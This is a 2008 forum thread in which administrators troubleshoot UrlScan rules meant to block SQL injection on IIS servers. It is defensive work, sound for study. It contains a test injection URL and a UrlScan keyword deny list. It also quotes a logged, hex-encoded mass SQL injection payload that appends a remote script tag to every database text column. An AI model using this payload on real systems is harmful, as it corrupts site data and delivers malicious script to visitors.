    sys ; also catches sysobjects and syscolumns
    table
    update

     

    Wednesday, August 13, 2008 6:24 PM
  • User-119923882 posted

    I do not want to the config connect to any file extension. it should be for all file even there is no file.

    UrlScan runs before IIS has determined whether the request targets a file or some other dynamic resource.  All of UrlScan's rules therefore apply regardless of this.

    The AppliesTo property is optional.  If you want to have a rule apply to all requests, and not just certain file extensions, then you can leave the AppliesTo property blank and it will apply to all reqeusts.

    Thanks,
    -Wade

    Thursday, August 14, 2008 4:08 PM
  • User163834620 posted

    Wade,

    FYI - In my test case, the reason SQL Injection attacks was not getting detected was because the rule had the "AppliesTo=" set to ".asp,.aspx".  Well, I was sending a test attack to http://localmachinename/?declare%20@s=CAST(XYZ%20AS%20NVARCHAR(3000));EXEC(@S);

    In this case I'm not calling any .asp or .aspx page specifically so if I launch the attack to the default page without specifying a filename.ext I can bypass the rule.

    By changing the "AppliesTo=.asp,.aspx" to "AppliesTo=" URLScan detects this attack.

    FWIW

    Jose Lopez

    Friday, August 15, 2008 11:24 AM
  • User-2064283741 posted

    Very Interesting. I'll try this too. I too left the AppliesTo in there.

    I just checked mine (didnt make the change above) and it is working again. I dunno maybe another IIS restart a day or two ago kicked it off or something.

    Luckily I will finally have some time to investigate this next week.

    Friday, August 15, 2008 12:30 PM
  • User-2064283741 posted

    Correct it is picking it up for one site and 1 site only.

    Still getting hammered 

    did a quick search in file for CAST( on the logs

    2008-08-14 08:16:46 GET /presscuttingdetails.asp id=38;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E756A6E632E72752F6A732E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-

    Yet URL scan does detect

    [08-13-2008 - 19:53:40] Client at 118.81.53.156: Rule ' SQL Injection' detected string '--' in the query string. UrlScan is in Logging-Only mode - request allowed.  Site Instance='1992215310', Raw URL='/english/businessdirectory_map.asp

    I checked no-one else has restarted anything for these servers for days.

    Sadly I didn't have logging on the '1992215310' site as it is only our smarter stats website for clients site going on our hosting prod box.

    Run out of time more info later.

     

    Friday, August 15, 2008 12:56 PM
  • User-119923882 posted

    Jose,

    Thanks for the follow up.  It's good to hear that you found this!

    -Wade

    Friday, August 15, 2008 7:10 PM
  • User-681501358 posted

     Hi guys, doing as following way works fine:

    AppliesTo=.asp,.aspx,.

    use dot(.) for any type even capture with no file extension

     

    Friday, August 15, 2008 10:19 PM
  • User-2064283741 posted

    Going to dedicate some time trying to work this is out over the next few days.

    The workaround:

    AppliesTo=.asp,.aspx,.

    Doesn't work for me.:(

     

    Monday, August 18, 2008 8:23 AM
  • User163834620 posted

    Rovastar,

    I can confirm that the workaround that KentZhou posted works.  I have included below the contents of the RuleList section in the UrlScan.ini as I have it in my test box.

    After changing the rule though I issued an iisreset /restart command before I tested so the UrlScan.ini's settings were taken into account.  I don't know if there is a cycle by which these settings in the .ini file are refreshed. 

    I tried issuing the following request, all of which were stopped by URLScan:

    http://localhost/?declare
    http://localhost/default.asp?declare
    http://localhost/default.aspx?declare


    RuleList=SQLInjection

    [SQLInjection]
    AppliesTo=.asp,.aspx,.
    DenyDataSection=SQL Injection Strings
    ScanUrl=0
    ScanAllRaw=0
    ScanQueryString=1
    ScanHeaders=

    [SQL Injection Strings]
    --
    %3b ; a semicolon
    /*
    @ ; also catches @@
    char ; also catches nchar and varchar
    alter
    begin
    cast
    convert
    create
    cursor
    declare
    delete
    drop
    end
    exec ; also catches execute
    fetch
    insert
    kill
    open
    select
    sys ; also catches sysobjects and syscolumns
    table
    update

    Monday, August 18, 2008 8:51 AM
  • User1091515789 posted

    In my case I gave IIS_WPG full access to logging folder. I do run my app pool in a different local user account that is part of the IIS_WPG group so in theory it should work. 

    Currently I run this local user account as part of Administrator role and it runs fine (x64 iis6 w2k3sp2) 

    D:\common\urlscanlogs>cacls .
    D:\common\urlscanlogs BUILTIN\Administrators:F
                          servername\IIS_WPG:(OI)(CI)F
                          BUILTIN\Users:(OI)(CI)F
                          BUILTIN\Administrators:(OI)(CI)F
                          NT AUTHORITY\SYSTEM:(OI)(CI)F
                          CREATOR OWNER:(OI)(CI)(IO)F
                          BUILTIN\Users:(OI)(CI)R
                          BUILTIN\Users:(CI)(special access:)
                                            FILE_APPEND_DATA

                          BUILTIN\Users:(CI)(special access:)
                                            FILE_WRITE_DATA

    Tuesday, August 19, 2008 2:37 AM
  • User-2064283741 posted

    Rovastar,

    I can confirm that the workaround that KentZhou posted works.  I have included below the contents of the RuleList section in the UrlScan.ini as I have it in my test box.

    After changing the rule though I issued an iisreset /restart command before I tested so the UrlScan.ini's settings were taken into account.  I don't know if there is a cycle by which these settings in the .ini file are refreshed.

     

    Glad to see others are working. Mine is not. It works for *some* sites but not all. There seems to be no explanation for this that I can see.

    The fact that it works for some but not all is worrying as you may *think* it is working when it is not.

    Tuesday, August 19, 2008 9:07 AM
  • User-2064283741 posted
    Investigating
    Tuesday, August 19, 2008 9:22 AM
  • User-2064283741 posted

    OK I am finally getting somewhere.

    On one of my servers out of several hundred sites 2 seems to be logging others do not.

    Now I noticed that these sites have separate application pools.

    I moved a known problem site to a new application pool and then the events were logged.

    Moving it back to the DefaultAppPool it didn't log.

    Further investigation of the difference between the application pool reviled that the DefaultAppPool had a Identity of IWAN user rather than the default Network Services.

    When I changing the newly created app pool to run under the IWAM user account (and restarting the app pool) URLscan failed to work. Changing it to Network Service account (and restarting the App Pool.) It all worked again.

    So my problem at least is down to which identity you run an app pool in to determine if  URLScan will work or not.

    *Phew* Glad that problem is out of the way.

    Tuesday, August 19, 2008 10:01 AM